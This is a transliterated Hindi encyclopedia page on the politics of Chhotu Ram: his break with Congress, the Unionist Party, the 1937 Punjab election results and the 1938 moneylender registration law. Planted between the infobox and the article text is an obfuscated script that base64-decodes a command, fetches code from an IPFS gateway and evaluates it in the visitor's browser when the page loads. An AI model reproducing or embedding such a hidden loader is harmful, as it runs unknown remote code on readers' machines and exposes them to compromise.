छोटूराम की राजनीतिक गतिविधियाँ
chhotooram ki rajanitik gatividhiyaan
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| poora nam | ray richhapal (mool nam) |
| janm | 24 navambar, 1881 |
| janm bhoomi | rohatak |
| mrityu | 9 janavari, 1945 |
| mrityu sthan | lahaur |
| abhibhavak | pita- sukhiram |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani tatha rajanitijn |
| parti | yooniyanist parti |
| vishesh | chaudhari chhotooram ki lekhani ag ugalati thi. 'thag bajar ki sair' aur 'bechara kisan' ke lekhoan mean se 17 lekh 'jat gajat' mean chhape the. |
| any janakari | agast, 1920 mean chhotooram ne kaangres chho d di thi, kyoanki ve gaandhi ji ke asahayog aandolan se sahamat nahian the. unaka vichar tha ki is aandolan se kisanoan ka hit nahian hoga. unaka mat tha ki azadi ki l daee sanvaidhanik tarike se l di jaye. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> svatantrata senani tatha rajaneta chaudhari chhotooram ka kad mahatma gaandhi se kam nahian hai, unhoanne pad ki lalasa chho dakar hamesha gariboan v kisanoan ke hakoan ki l daee l di. mahatma gaandhi ne bina rakt bahaye desh ko rajanitik roop se azadi dilaee, unaki tarah hi chhotooram ne aangrezi hukoomat ke karyakal mean hi kisanoan-majadooroan ke adhikaroan ki l daee shuroo kar di thi. yahi karan hai ki bharat mean hi nahian, balki pakistan mean bhi sar chhotooram ka nam samman ke sath liya jata hai.
rajanitik sakriyata
san 1925 mean rajasthan mean pushkar ke pavitr sthan par chaudhari chhotooram ne ek aitihasik jalase ka ayojan kiya. san 1934 mean rajasthan ke sikar shahar mean kiraya kanoon ke virodh mean ek abhootapoorv raili ka ayojan kiya gaya, jisamean 10,000 jat kisan shamil hue. yahaan par janeoo aur desi ghi dan kiya gaya, maharshi dayanand ke satyarth prakash ke shlokoan ka uchcharan kiya gaya. is raili se chaudhari chhotooram bharat ki rajaniti ke stambh ban ge. panjab mean raulat ekt ke viruddh andolan ko dabane ke lie marshal l aau lagoo kar diya gaya tha, jisake parinamasvaroop desh ki rajaniti mean ek ajibogarib mo d a gaya. ek taraph mahatma gaandhi ka asahayog aandolan tha to doosari or praantiy star par chaudhari chhotooram aur chaudhari lalachand adi jat netaoan ne aangrezi hukoomat ke sath sahayog ki niti apana li thi. panjab mean maantegyoo chaimsaphord sudhar lagoo ho ge the, sar fajale husain ne khetihar kisanoan ki ek parti 'jamiandara parti' kh di kar di. chhotooram v unake sathiyoan ne sar fajale husain ke sath gathabandhan kar liya aur sar sikandar hayat khan ke sath milakar 'yooniyanist parti' ka gathan kiya. tab se hariyana mean do paraspar virodhi aandolan chalate rahe. chaudhari chhotooram ka takarav ek or kaangres se tha tatha doosari or shahari hindoo netaoan v sahookaroan se hota tha.
chaudhari chhotooram ki 'jamiandara parti' kisan, majadoor, muslim, sikkh aur shoshit logoan ki parti thi. lekin yah parti aangrezoan se takkar lene ko taiyar nahian thi. hiandoo sabha v doosare shahari hinduoan ki partiyoan se chaudhari chhotooram ka matabhed tha. bharat sarakar adhiniyam, 1919 ke tahat 1920 mean am chunav karae ge. isaka kaangres ne bahishkar kiya aur chhotooram v lalasianh jamiandara parti se vijayi hue. udhar 1930 mean kaangres ne ek aur jat neta chaudhari devilal ko chaudhari chhotooram ki parti ke virodh mean sthapit kiya. bharat sarakar adhiniyam, 1935 ke tahat simit lokatantr ke chunav 1937 mean hue. isamean 175 sitoan mean se yooniyanist parti ko 99, kaangres ko keval 18, khalasa neshanalist ko 13 aur hindoo mahasabha ko keval 12 sitean mili thian. hariyana dehati sit se keval ek pratyashi chaudhari dunichand hi kaangres se jit paye the. chaudhari chhotooram ke kad ka aandaja is chunav se aangrezoan, kaangresiyoan aur sabhi virodhiyoan ko ho gaya tha.
samaj sudharak qanoon
chaudhari chhotooram ki lekhani jab likhati thi to ag ugalati thi. 'thag bajar ki sair' aur 'bechara kisan' ke lekhoan mean se 17 lekh jat gajat mean chhape. 1937 mean sikandar hayat khan panjab ke rajaneta bane aur jhajjar ke ye jujharoo neta chaudhari chhotooram vikas v rajasv mantri bane aur garib kisan ke masiha ban ge. chaudhari chhotooram ne anek samaj sudharak kanoonoan ke jarie kisanoan ko shoshan se nizat dilavaee.
sahookar panjikaran ekt, 1938
yah kanoon 2 sitanbar 1938 ko prabhavi hua tha. isake anusar koee bhi sahookar bina panjikaran ke kisi ko karz nahian de paega aur n hi kisanoan par adalat mean mukadama kar payega. is adhiniyam ke karan sahookaroan ki ek phauj par aankush lag gaya.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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